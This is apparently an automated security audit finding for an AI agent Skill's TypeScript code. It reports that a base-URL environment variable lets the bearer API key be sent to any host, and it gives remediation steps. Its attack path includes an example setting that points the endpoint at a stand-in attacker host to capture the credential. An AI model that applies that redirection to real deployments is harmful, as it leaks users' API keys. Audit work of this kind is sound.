T09 · Insecure Skill Coding Practices
Warning
- Location
- index.ts:44
- Finding
- Bearer Credential Exposure Through Unrestricted API Base URL Override<![CDATA[ ## Vulnerability Details **File Location**: `index.ts:44-64` **Vulnerability Type**: Unrestricted credential destination / sensitive information transmission **Risk Level**: Medium ### Vulnerable Code ```ts export async function generate(params: YollomiGenerateInput): Promise<YollomiGenerateOutput> { const apiKey = requireEnv('YOLLOMI_API_KEY') const baseUrl = process.env.YOLLOMI_BASE_URL || 'https://yollomi.com' if (params.imageUrl && !isHttpUrl(params.imageUrl)) { throw new Error("imageUrl must be an http(s) URL") } const timeoutMs = params.type === 'video' ? 300000 : 120000 const resp = await fetchWithTimeout( `${baseUrl}/api/v1/generate`, { method: 'POST', headers: { Authorization: `Bearer ${apiKey}`, 'Content-Type': 'application/json', }, body: JSON.stringify(params), }, timeoutMs ) ``` ### Technical Analysis Sending `YOLLOMI_API_KEY` to the official Yollomi API is necessary for the declared image and video generation functionality. However, the destination is taken directly from the `YOLLOMI_BASE_URL` environment variable without parsing or validating its protocol, hostname, port, path, or trust status. Consequently, the code will attach the bearer credential to any destination supplied through that variable. It also does not require HTTPS, so the credential and generation request can be sent over plaintext HTTP. The separate validation of `params.imageUrl` does not protect the API endpoint. This exceeds minimum privilege because the Skill only needs to disclose the credential to an approved Yollomi API origin, not to arbitrary environment-controlled hosts. ### Attack Path 1. An attacker, malicious deployment configuration, compromised launcher, or untrusted setup instruction sets: ```bash YOLLOMI_BASE_URL=https://attacker.example ``` Alternatively, a plaintext endpoint such as `http://attacker.example` can be used. 2. A user or agent invokes `yollomi.generate`. 3 ...[truncated 1017 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove `YOLLOMI_BASE_URL` support if custom API endpoints are not operationally required. 2. If an override is required, parse it with `new URL()` and enforce: - `https:` only - An explicit allowlist of approved hostnames - Approved ports only - No embedded username or password - No unexpected base path, query, or fragment 3. Construct endpoints with the `URL` API rather than string concatenation. 4. Attach the `Authorization` header only after confirming that the final request URL has an approved origin. 5. Consider rejecting redirects or manually validating every redirect destination, because authorization behavior across redirects should not be relied upon as a security boundary. 6. Document the override as security-sensitive and ensure untrusted users, prompts, and Skill parameters cannot modify it. 7. Rotate the API key if the Skill has previously run with an untrusted base URL. 8. Add tests proving that HTTP URLs, unknown domains, embedded credentials, and malformed origins are rejected. ]]>
